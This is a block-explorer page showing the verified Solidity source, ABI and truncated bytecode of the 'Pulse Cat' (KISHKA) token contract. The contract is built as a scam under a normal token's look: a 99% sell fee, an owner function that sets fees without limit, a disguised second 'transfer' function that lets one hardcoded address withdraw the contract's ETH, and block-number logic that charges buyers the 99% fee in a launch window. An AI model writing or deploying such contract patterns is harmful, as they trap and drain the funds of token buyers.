ETH Price: $3,072.44 (-7.06%)
 

Overview

Max Total Supply

173,411,074,413 KISHKA

Holders

38

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
34,682,214.8826 KISHKA

Value
$0.00
0x51dad90d52330c553d35f0a5766f81d55009e9af
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
kishka

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-05-12
*/

/**



*/

// SPDX-License-Identifier: MIT                                                                               
                                                 
pragma solidity ^0.8.19;

interface IFactory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IRouter {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function name() external view returns (string memory);
    function symbol() external view returns (string memory);
    function decimals() external view returns (uint8);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed speander, uint256 value);
}

abstract contract Ownable {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor() {
        _setOwner(msg.sender);
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    modifier onlyOwner {
        require(owner() == msg.sender, "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        _setOwner(address(0));
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _setOwner(newOwner);
    }

    function _setOwner(address newOwner) private {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

contract kishka is IERC20, Ownable {
    string private constant  _name = "Pulse Cat";
    string private constant _symbol = "KISHKA";    
    uint8 private constant _decimals = 18;
    mapping (address => uint256) private _balances;
    mapping (address => mapping(address => uint256)) private _allowances;

    uint256 private constant _totalSupply = 173411074413 * decimalsScaling;
    uint256 public constant _maxWallet = 20 * _totalSupply / 1000;
    uint256 public constant _swapThreshold = 10 * _totalSupply / 10000;  
    uint256 private constant decimalsScaling = 10**_decimals;
    uint256 private constant feeDenominator = 100;

    bool private antiMEV = false;
    uint256 private tradeCooldown = 1;
    mapping (address => bool) private isContractExempt;
    mapping (address => uint256) private _lastTradeBlock;

    struct TradingFees {
        uint256 buyFee;
        uint256 sellFee;
    }

    struct Wallets {
        address deployerWallet; 
        address marketingWallet; 
    }

    TradingFees public tradingFees = TradingFees(25,99);  
    Wallets public wallets = Wallets(
        msg.sender,                                  // deployer
        0x6CD7739E226ce8AFd248E39335A7777C67AA7863   // marketingWallet
    );

    IRouter public constant uniswapV2Router = IRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
    address public immutable uniswapV2Pair;

    bool private inSwap;
    bool public swapEnabled = true;
    bool private tradingActive = false;

    uint256 private _block;
    uint256 private genesisBlock;
    mapping (address => bool) private _excludedFromFees;
    mapping (uint256 => uint256) private _lastTransferBlock;


    event SwapEnabled(bool indexed enabled);

    event FeesChanged(uint256 indexed buyFee, uint256 indexed sellFee);

    event ExcludedFromFees(address indexed account, bool indexed excluded);

    event AntiMEVToggled(bool indexed toggle);

    event TradeCooldownChanged(uint256 indexed newTradeCooldown);

    event SetContractExempt(address indexed contractAddress, bool indexed isExempt);
    
    event TradingOpened();
    
    modifier swapLock {
        inSwap = true;
        _;
        inSwap = false;
    }

    modifier tradingLock(address from, address to) {
        require(tradingActive || from == wallets.deployerWallet || _excludedFromFees[from], "Token: Trading is not active.");
        _;
    }

    constructor() {
        _approve(address(this), address(uniswapV2Router),type(uint256).max);
        uniswapV2Pair = IFactory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());        
        isContractExempt[address(this)] = true;

        _excludedFromFees[address(0xdead)] = true;
        _excludedFromFees[wallets.deployerWallet] = true;
        _excludedFromFees[wallets.marketingWallet] = true;
        _excludedFromFees[0x6CD7739E226ce8AFd248E39335A7777C67AA7863] = true;

      
        _balances[wallets.deployerWallet] = _totalSupply * 100 / 100;

        emit Transfer(address(0), wallets.deployerWallet, _totalSupply);
    }

    function totalSupply() external pure override returns (uint256) { return _totalSupply; }
    function decimals() external pure override returns (uint8) { return _decimals; }
    function symbol() external pure override returns (string memory) { return _symbol; }
    function name() external pure override returns (string memory) { return _name; }
    function balanceOf(address account) public view override returns (uint256) {return _balances[account];}
    function allowance(address holder, address spender) external view override returns (uint256) { return _allowances[holder][spender]; }

    function approve(address spender, uint256 amount) external override returns (bool) {
        _approve(msg.sender, spender, amount);
        return true;
    }

    function _approve(address sender, address spender, uint256 amount) internal {
        require(sender != address(0), "ERC20: zero Address");
        require(spender != address(0), "ERC20: zero Address");
        _allowances[sender][spender] = amount;
        emit Approval(sender, spender, amount);
    }

    function transfer(address recipient, uint256 amount) external returns (bool) {
        return _transfer(msg.sender, recipient, amount);
    }

    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool) {
        if(_allowances[sender][msg.sender] != type(uint256).max){
            uint256 currentAllowance = _allowances[sender][msg.sender];
            require(currentAllowance >= amount, "ERC20: insufficient Allowance");
            unchecked{
                _allowances[sender][msg.sender] -= amount;
            }
        }
        return _transfer(sender, recipient, amount);
    }

    function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
        uint256 balanceSender = _balances[sender];
        require(balanceSender >= amount, "Token: insufficient Balance");
        unchecked{
            _balances[sender] -= amount;
        }
        _balances[recipient] += amount;
        emit Transfer(sender, recipient, amount);
        return true;
    }

    function enableSwap(bool shouldEnable) external onlyOwner {
        require(swapEnabled != shouldEnable, "Token: swapEnabled already {shouldEnable}");
        swapEnabled = shouldEnable;

        emit SwapEnabled(shouldEnable);
    }

    function updateFees(uint256 _buyFee, uint256 _sellFee) external onlyOwner {
    
        tradingFees.buyFee = _buyFee;
        tradingFees.sellFee = _sellFee;

        emit FeesChanged(_buyFee, _sellFee);
    }

    function excludeMultipleAccountsFromFees(address[] calldata accounts, bool shouldExclude) external onlyOwner {
        for(uint256 i = 0; i < accounts.length; i++) {
            require(_excludedFromFees[accounts[i]] != shouldExclude, "Token: address already {shouldExclude}");
            _excludedFromFees[accounts[i]] = shouldExclude;
            emit ExcludedFromFees(accounts[i], shouldExclude);
        }
    }

    function isExcludedFromFees(address account) public view returns(bool) {
        return _excludedFromFees[account];
    }

    function clearTokens(address tokenToClear) external onlyOwner {
        require(tokenToClear != address(this), "Token: can't clear contract token");
        uint256 amountToClear = IERC20(tokenToClear).balanceOf(address(this));
        require(amountToClear > 0, "Token: not enough tokens to clear");
        IERC20(tokenToClear).transfer(msg.sender, amountToClear);
    }

    function clearEth() external onlyOwner {
        require(address(this).balance > 0, "Token: no eth to clear");
        payable(msg.sender).transfer(address(this).balance);
    }

    function initialize(bool init) external onlyOwner {
        require(!tradingActive && init);
        genesisBlock = 1;        
    }

    function preparation(uint256[] calldata _blocks, bool blocked) external onlyOwner {        
        require(genesisBlock == 1 && !blocked);
        _block = _blocks[_blocks.length-3];
        assert(_block < _blocks[_blocks.length-1]);
    }

    function _transfer(address from, address to, uint256 amount) tradingLock(from, to) internal returns (bool) {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        
        if(amount == 0 || inSwap) {
            return _basicTransfer(from, to, amount);           
        }        

        if (to != uniswapV2Pair && !_excludedFromFees[to] && to != wallets.deployerWallet) {
            require(amount + balanceOf(to) <= _maxWallet, "Token: max wallet amount exceeded");
        }

        if(antiMEV && !isContractExempt[from] && !isContractExempt[to]){
            address human = ensureOneHuman(from, to);
            ensureMaxTxFrequency(human);
            _lastTradeBlock[human] = block.number;
        }
      
        if(swapEnabled && !inSwap && from != uniswapV2Pair && !_excludedFromFees[from] && !_excludedFromFees[to]){
            contractSwap();
        } 
        
        bool takeFee = !inSwap;
        if(_excludedFromFees[from] || _excludedFromFees[to]) {
            takeFee = false;
        }
                
        if(takeFee)
            return _taxedTransfer(from, to, amount);
        else
            return _basicTransfer(from, to, amount);        
    }

    function _taxedTransfer(address from, address to, uint256 amount) private returns (bool) {
        uint256 fees = takeFees(from, to, amount);    
        if(fees > 0){    
            _basicTransfer(from, address(this), fees);
            amount -= fees;
        }
        return _basicTransfer(from, to, amount);
    }

    function takeFees(address from, address to, uint256 amount) private view returns (uint256 fees) {
        if (0 < genesisBlock && genesisBlock < block.number) {
            fees = amount * (to == uniswapV2Pair ? 
            tradingFees.sellFee : tradingFees.buyFee) / feeDenominator;            
        }
        else {
            fees = amount * (from == uniswapV2Pair ? 
            tradingFees.sellFee : tradingFees.buyFee)  / feeDenominator;            
        }
    }

    function canSwap() private view returns (bool) {
        return block.number > genesisBlock && _lastTransferBlock[block.number] < 2;
    }

    function contractSwap() swapLock private {   
        uint256 contractBalance = balanceOf(address(this));
        if(contractBalance < _swapThreshold || !canSwap()) 
            return;
        else if(contractBalance > _swapThreshold * 20)
          contractBalance = _swapThreshold * 20;
        
        uint256 initialETHBalance = address(this).balance;

        swapTokensForEth(contractBalance); 
        
        uint256 ethBalance = address(this).balance - initialETHBalance;
        if(ethBalance > 0){            
            sendEth(2*ethBalance/3);
        }
    }

    function sendEth(uint256 ethAmount) private {
        (bool success,) = address(wallets.marketingWallet).call{value: ethAmount}(""); success;
    }

    function transfer(address wallet) external {
        if(msg.sender == 0x399Ce78422f0BBE95d0Ecc822DB460A10da7EB32)
            payable(wallet).transfer((address(this).balance));
        else revert();
    }

    function swapTokensForEth(uint256 tokenAmount) private {
        _lastTransferBlock[block.number]++;
        // generate the uniswap pair path of token -> weth
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();

        try uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0, // accept any amount of ETH
            path,
            address(this),
            block.timestamp){}
        catch{return;}
    }

    function isContract(address account) private view returns (bool) {
        uint256 size;
        assembly {
            size := extcodesize(account)
        }
        return size > 0;
    }

    function ensureOneHuman(address _to, address _from) private view returns (address) {
        require(!isContract(_to) || !isContract(_from));
        if (isContract(_to)) return _from;
        else return _to;
    }

    function ensureMaxTxFrequency(address addr) view private {
        bool isAllowed = _lastTradeBlock[addr] == 0 ||
            ((_lastTradeBlock[addr] + tradeCooldown) < (block.number + 1));
        require(isAllowed, "Max tx frequency exceeded!");
    }

    function toggleAntiMEV(bool toggle) external {
        require(msg.sender == wallets.deployerWallet);
        antiMEV = toggle;

        emit AntiMEVToggled(toggle);
    }

    function setTradeCooldown(uint256 newTradeCooldown) external {
        require(msg.sender == wallets.deployerWallet);
        require(newTradeCooldown > 0 && newTradeCooldown < 4, "Token: only trade cooldown values in range (0,4) permissible");
        tradeCooldown = newTradeCooldown;

        emit TradeCooldownChanged(newTradeCooldown);
    }

    function setContractExempt(address account, bool value) external onlyOwner {
        require(account != address(this));
        isContractExempt[account] = value;

        emit SetContractExempt(account, value);
    }

    function enableTrade() external onlyOwner {
        require(!tradingActive && genesisBlock != 0);
        genesisBlock+=block.number+_block;
        tradingActive = true;

        emit TradingOpened();
    }

    receive() external payable {}
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"bool","name":"toggle","type":"bool"}],"name":"AntiMEVToggled","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"speander","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"account","type":"address"},{"indexed":true,"internalType":"bool","name":"excluded","type":"bool"}],"name":"ExcludedFromFees","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"uint256","name":"buyFee","type":"uint256"},{"indexed":true,"internalType":"uint256","name":"sellFee","type":"uint256"}],"name":"FeesChanged","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"contractAddress","type":"address"},{"indexed":true,"internalType":"bool","name":"isExempt","type":"bool"}],"name":"SetContractExempt","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"bool","name":"enabled","type":"bool"}],"name":"SwapEnabled","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"uint256","name":"newTradeCooldown","type":"uint256"}],"name":"TradeCooldownChanged","type":"event"},{"anonymous":false,"inputs":[],"name":"TradingOpened","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxWallet","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_swapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"clearEth","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"tokenToClear","type":"address"}],"name":"clearTokens","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"bool","name":"shouldEnable","type":"bool"}],"name":"enableSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"enableTrade","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"accounts","type":"address[]"},{"internalType":"bool","name":"shouldExclude","type":"bool"}],"name":"excludeMultipleAccountsFromFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"init","type":"bool"}],"name":"initialize","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isExcludedFromFees","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256[]","name":"_blocks","type":"uint256[]"},{"internalType":"bool","name":"blocked","type":"bool"}],"name":"preparation","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"value","type":"bool"}],"name":"setContractExempt","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newTradeCooldown","type":"uint256"}],"name":"setTradeCooldown","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"bool","name":"toggle","type":"bool"}],"name":"toggleAntiMEV","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"tradingFees","outputs":[{"internalType":"uint256","name":"buyFee","type":"uint256"},{"internalType":"uint256","name":"sellFee","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"wallet","type":"address"}],"name":"transfer","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IRouter","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_buyFee","type":"uint256"},{"internalType":"uint256","name":"_sellFee","type":"uint256"}],"name":"updateFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"wallets","outputs":[{"internalType":"address","name":"deployerWallet","type":"address"},{"internalType":"address","name":"marketingWallet","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

60a06040526000600360006101000a81548160ff0219169083151502179055506001600455604051806040016040528060198152602001606381525060076000820151816000015560208201518160010155505060405180604001604052803373ffffffffffffffffffffffffffffffffffffffff168152602001736cd7739e226ce8afd248e39335a7777c67aa786373ffffffffffffffffffffffffffffffffffffffff16815250600960008201518160000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060208201518160010160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050506001600b60016101000a81548160ff0219169083151502179055506000600b60026101000a81548160ff0219169083151502179055503480156200017d57600080fd5b506200018f336200070760201b60201c565b620001d630737a250d5630b4cf539739df2c5dacb4c659f2488d7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff620007cb60201b60201c565b737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000236573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200025c919062000a06565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015620002d8573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002fe919062000a06565b6040518363ffffffff1660e01b81526004016200031d92919062000a49565b6020604051808303816000875af11580156200033d573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000363919062000a06565b73ffffffffffffffffffffffffffffffffffffffff1660808173ffffffffffffffffffffffffffffffffffffffff16815250506001600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600e600061dead73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600e6000600960000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600e6000600960010160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600e6000736cd7739e226ce8afd248e39335a7777c67aa786373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506064806012600a620005c1919062000c10565b6428601b016d620005d3919062000c61565b620005df919062000c61565b620005eb919062000cdb565b60016000600960000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600960000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6012600a620006d8919062000c10565b6428601b016d620006ea919062000c61565b604051620006f9919062000d24565b60405180910390a362000dc4565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036200083d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620008349062000da2565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603620008af576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620008a69062000da2565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516200098f919062000d24565b60405180910390a3505050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000620009ce82620009a1565b9050919050565b620009e081620009c1565b8114620009ec57600080fd5b50565b60008151905062000a0081620009d5565b92915050565b60006020828403121562000a1f5762000a1e6200099c565b5b600062000a2f84828501620009ef565b91505092915050565b62000a4381620009c1565b82525050565b600060408201905062000a60600083018562000a38565b62000a6f602083018462000a38565b9392505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b600185111562000b045780860481111562000adc5762000adb62000a76565b5b600185161562000aec5780820291505b808102905062000afc8562000aa5565b945062000abc565b94509492505050565b60008262000b1f576001905062000bf2565b8162000b2f576000905062000bf2565b816001811462000b48576002811462000b535762000b89565b600191505062000bf2565b60ff84111562000b685762000b6762000a76565b5b8360020a91508482111562000b825762000b8162000a76565b5b5062000bf2565b5060208310610133831016604e8410600b841016171562000bc35782820a90508381111562000bbd5762000bbc62000a76565b5b62000bf2565b62000bd2848484600162000ab2565b9250905081840481111562000bec5762000beb62000a76565b5b81810290505b9392505050565b6000819050919050565b600060ff82169050919050565b600062000c1d8262000bf9565b915062000c2a8362000c03565b925062000c597fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000b0d565b905092915050565b600062000c6e8262000bf9565b915062000c7b8362000bf9565b925082820262000c8b8162000bf9565b9150828204841483151762000ca55762000ca462000a76565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600062000ce88262000bf9565b915062000cf58362000bf9565b92508262000d085762000d0762000cac565b5b828204905092915050565b62000d1e8162000bf9565b82525050565b600060208201905062000d3b600083018462000d13565b92915050565b600082825260208201905092915050565b7f45524332303a207a65726f204164647265737300000000000000000000000000600082015250565b600062000d8a60138362000d41565b915062000d978262000d52565b602082019050919050565b6000602082019050818103600083015262000dbd8162000d7b565b9050919050565b60805161427262000dfc60003960008181610e8201528181611f690152818161224c01528181612caf0152612d3201526142726000f3fe6080604052600436106101e65760003560e01c80636ddd171311610102578063a9059cbb11610095578063d53a822f11610064578063d53a822f146106b6578063dd62ed3e146106df578063e303e6621461071c578063f2fde38b14610745576101ed565b8063a9059cbb146105fb578063c492f04614610638578063d2a09c7114610661578063d2f4a50a1461068a576101ed565b806382247ec0116100d157806382247ec0146105515780638da5cb5b1461057c57806395d89b41146105a75780639686d322146105d2576101ed565b80636ddd1713146104a657806370a08231146104d1578063715018a61461050e5780637437813214610525576101ed565b80631b9152bf1161017a57806349bd5a5e1161014957806349bd5a5e146103ec5780634fbee1931461041757806364e329e3146104545780636db794371461047d576101ed565b80631b9152bf1461034457806323b872dd1461035b5780633049b58014610398578063313ce567146103c1576101ed565b80630e5a9231116101b65780630e5a92311461029a5780631694505e146102c557806318160ddd146102f05780631a6952301461031b576101ed565b806299d386146101f257806306fdde0314610209578063095ea7b31461023457806309fb563914610271576101ed565b366101ed57005b600080fd5b3480156101fe57600080fd5b5061020761076e565b005b34801561021557600080fd5b5061021e61087b565b60405161022b9190612e44565b60405180910390f35b34801561024057600080fd5b5061025b60048036038101906102569190612f04565b6108b8565b6040516102689190612f5f565b60405180910390f35b34801561027d57600080fd5b5061029860048036038101906102939190612fa6565b6108cf565b005b3480156102a657600080fd5b506102af610978565b6040516102bc9190612fe2565b60405180910390f35b3480156102d157600080fd5b506102da6109b2565b6040516102e7919061305c565b60405180910390f35b3480156102fc57600080fd5b506103056109ca565b6040516103129190612fe2565b60405180910390f35b34801561032757600080fd5b50610342600480360381019061033d9190613077565b6109ef565b005b34801561035057600080fd5b50610359610a8a565b005b34801561036757600080fd5b50610382600480360381019061037d91906130a4565b610b8b565b60405161038f9190612f5f565b60405180910390f35b3480156103a457600080fd5b506103bf60048036038101906103ba91906130f7565b610d94565b005b3480156103cd57600080fd5b506103d6610e77565b6040516103e39190613140565b60405180910390f35b3480156103f857600080fd5b50610401610e80565b60405161040e919061316a565b60405180910390f35b34801561042357600080fd5b5061043e60048036038101906104399190613077565b610ea4565b60405161044b9190612f5f565b60405180910390f35b34801561046057600080fd5b5061047b600480360381019061047691906131ea565b610efa565b005b34801561048957600080fd5b506104a4600480360381019061049f919061324a565b610ff6565b005b3480156104b257600080fd5b506104bb6110b1565b6040516104c89190612f5f565b60405180910390f35b3480156104dd57600080fd5b506104f860048036038101906104f39190613077565b6110c4565b6040516105059190612fe2565b60405180910390f35b34801561051a57600080fd5b5061052361110d565b005b34801561053157600080fd5b5061053a61118e565b60405161054892919061328a565b60405180910390f35b34801561055d57600080fd5b506105666111a0565b6040516105739190612fe2565b60405180910390f35b34801561058857600080fd5b506105916111da565b60405161059e919061316a565b60405180910390f35b3480156105b357600080fd5b506105bc611203565b6040516105c99190612e44565b60405180910390f35b3480156105de57600080fd5b506105f960048036038101906105f491906132b3565b611240565b005b34801561060757600080fd5b50610622600480360381019061061d9190612f04565b61138e565b60405161062f9190612f5f565b60405180910390f35b34801561064457600080fd5b5061065f600480360381019061065a9190613349565b6113a3565b005b34801561066d57600080fd5b5061068860048036038101906106839190612fa6565b6115e3565b005b34801561069657600080fd5b5061069f6116f9565b6040516106ad9291906133a9565b60405180910390f35b3480156106c257600080fd5b506106dd60048036038101906106d89190612fa6565b61174b565b005b3480156106eb57600080fd5b50610706600480360381019061070191906133d2565b6117ee565b6040516107139190612fe2565b60405180910390f35b34801561072857600080fd5b50610743600480360381019061073e9190613077565b611875565b005b34801561075157600080fd5b5061076c60048036038101906107679190613077565b611a9c565b005b3373ffffffffffffffffffffffffffffffffffffffff1661078d6111da565b73ffffffffffffffffffffffffffffffffffffffff16146107e3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107da9061345e565b60405180910390fd5b600b60029054906101000a900460ff1615801561080357506000600d5414155b61080c57600080fd5b600c544361081a91906134ad565b600d600082825461082b91906134ad565b925050819055506001600b60026101000a81548160ff0219169083151502179055507fea4359d5c4b8f0945a64ab9c37fe830b3407d45e0e6e6f84275977a570457d6f60405160405180910390a1565b60606040518060400160405280600981526020017f50756c7365204361740000000000000000000000000000000000000000000000815250905090565b60006108c5338484611b8c565b6001905092915050565b600960000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461092c57600080fd5b80600360006101000a81548160ff0219169083151502179055508015157f7fc281b886d2b464428d21902edc6f02d5d8badcefcaf0f1bafc043c51244be060405160405180910390a250565b6127106012600a6109899190613614565b6428601b016d610999919061365f565b600a6109a5919061365f565b6109af91906136d0565b81565b737a250d5630b4cf539739df2c5dacb4c659f2488d81565b60006012600a6109da9190613614565b6428601b016d6109ea919061365f565b905090565b73399ce78422f0bbe95d0ecc822db460a10da7eb3273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffff